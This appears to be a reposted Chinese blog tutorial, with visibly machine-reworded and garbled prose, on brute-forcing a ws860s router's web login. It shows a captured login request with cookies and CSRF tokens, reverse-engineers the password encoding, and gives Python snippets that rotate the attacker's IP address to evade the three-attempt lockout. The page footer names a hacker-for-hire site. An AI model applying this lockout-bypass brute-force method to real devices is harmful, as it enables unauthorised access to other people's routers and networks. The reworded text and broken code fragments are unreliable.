用Python绕过“登录3次过错,等候一分钟”的约束

在宅院里边看到了一个没人用的路由器(ws860s),看起来像个黑科技的玩意儿,就想着进去看看,到底有什么好玩的。看到后边的标签上有web界面的地址,然后登陆进去看看,发现有暗码,然后我想,...

在宅院里边看到了一个没人用的路由器(ws860s),看起来像个黑科技的玩意儿,就想着进去看看,到底有什么好玩的。看到后边的标签上有web界面的地址,然后登陆进去看看,发现有暗码,然后我想,路由器的暗码应该都是能够reset的,然后我就用笔戳那个reset键,奇观没有发生,本来这个reset键坏了。
晕,心想web界面还能够进去,并且无线wifi也能够看到SSID,应该主要功用仍是能够用的。功用看起来挺多的,所以就想看看,在网上查找通用暗码找了很多,逐个尝试过,都没有用。那么就用最没技术含量的爆炸试试。

剖析进程
抓包
1、翻开路由的web页面:192.168.3.1,路由器回来


会得到csrf和cookie和所需求的值,这些值都要保存下来,后边会用。
2、输入用户名暗码后:
user:admin
pass:87654321
 POST /api/system/user_login HTTP/1.1
    Host: 192.168.3.1
    Connection: keep-alive
    Content-Length: 234
    Accept: application/json, text/javascript, */*; q=0.01
    Origin: http://192.168.3.1
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
    Content-Type: application/json;charset=UTF-8
    Referer: http://192.168.3.1/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: SessionID_R3=0t+W065cW7DGrInE3k1lqW3VNRR4cszfo3SLhRUloQDhd05Ol1iFIkrgoXkIILigFdsFyxtWWiziYrf4Dj7+LJZnD1a1J4TaVSnt6dGrzeHrdSKZG0Q70OYF6k7RyPa; username=admin
    {"csrf":{"csrf_param":"nqVHIs3gM3IpAXFgmo5Sxin67E/MToI","csrf_token":"aqB57PLGqlN//9W9KtwKGIZzmdUauIc"},"data":{"UserName":"admin","Password":"ZTI0ZGY5MjAwNzhjM2RkNGU3ZThkMjQ0MmYwMGU1YzlhYjJhMjMxYmIzOTE4ZDY1Y2M1MDkwNmU0OWVjYWVmNA=="}}
3、路由器回来数据
{"errorCategory":"user_pass_err","csrf_param":"gn73LuAQ4GxsQkWLdpDVSDKcxinFbli","count":1,"csrf_token":"gu/bK/YjwYBL/uFQEA+v1W2oOz5fARI"}
暗码的生成办法
从上面抓包的成果来看,Password字段是通过加密的,所以假如咱们要暴力破解,需求把这个password的生成算法找出来。
翻开web登录页面,检查源代码,找找算法

在web页面包括的js文件中,找到了UserName和Password的生成计划。
password_str = base64Encode(SHA256(password));
def encrpyt_password(my_org_pass):
hash_256 = hashlib.sha256()
hash_str = my_org_pass
hash_256.update(hash_str.encode('utf-8'))
hash_256_value = hash_256.hexdigest()
encodestr = base64.b64encode(hash_256_value.encode('utf-8'))
    pass;
登录的约束
接连登录3次过错暗码,会在1分钟之内无法登录。

绕过3次过错暗码,等候一分钟的约束
在这里我运用修正IP地址的方法来加速暴力破解的速度。原理便是当一个ip地址的登录次数超越3次时,那就换下一个IP来登录页面,253个ip,每个ip能够过3个暗码,253*3 = 759,每次能够测验759个暗码,2分钟能过759个,1天1440分钟能测验54万多点暗码,假如暗码不杂乱,差不多是能够跑出来的。
在linux上修正ip地址,很简单一条指令就能够处理:
def change_my_ip(c_ip):
ip_last=c_ip
cmd = 'ifconfig eth1 192.168.3.' + str(ip_last);
a = os.popen(cmd);
pass;
提示内容:
暗码过错的提示文本:
    [password:bbbbbbbb];{"errorCategory":"user_pass_err","csrf_param":"FcnG919l8J7XhQsOYQEMS3WhsC2liSX","count":2,"csrf_token":"IQ/LfSZSx7gTp6VflYnZelobNSpoMy2"}
ip地址被约束,需求等候1分钟的提示:
    [password:aaaaaaaa];{"errorCategory":"Three_time_err","csrf_param":"VKGTylVILQA9SFsTyYdpkHv8qfJPIIw","count":3,"csrf_token":"MTQLBcWQN+1DJjAP+A6xC4AUSXciBod"}
登录成功的提示:
    ****[password:xxxxxxxx];{"csrf_param":"H/DyWxogz7+2y4UfzhqddowkjH1uL04","csrf_token":"MorgBb0+PNpoE8KhwBwq4OoioD2NcCs","errorCategory":"ok","level":2,"IsWizard":true,"IsFirst":true}

[1] [2] [3]  黑客接单网

  • 发表于 2021-04-08 12:28
  • 阅读 ( 270 )
  • 分类:互联网

0 条评论

请先 登录 后评论
tlxq14
tlxq14

644 篇文章

你可能感兴趣的文章

相关问题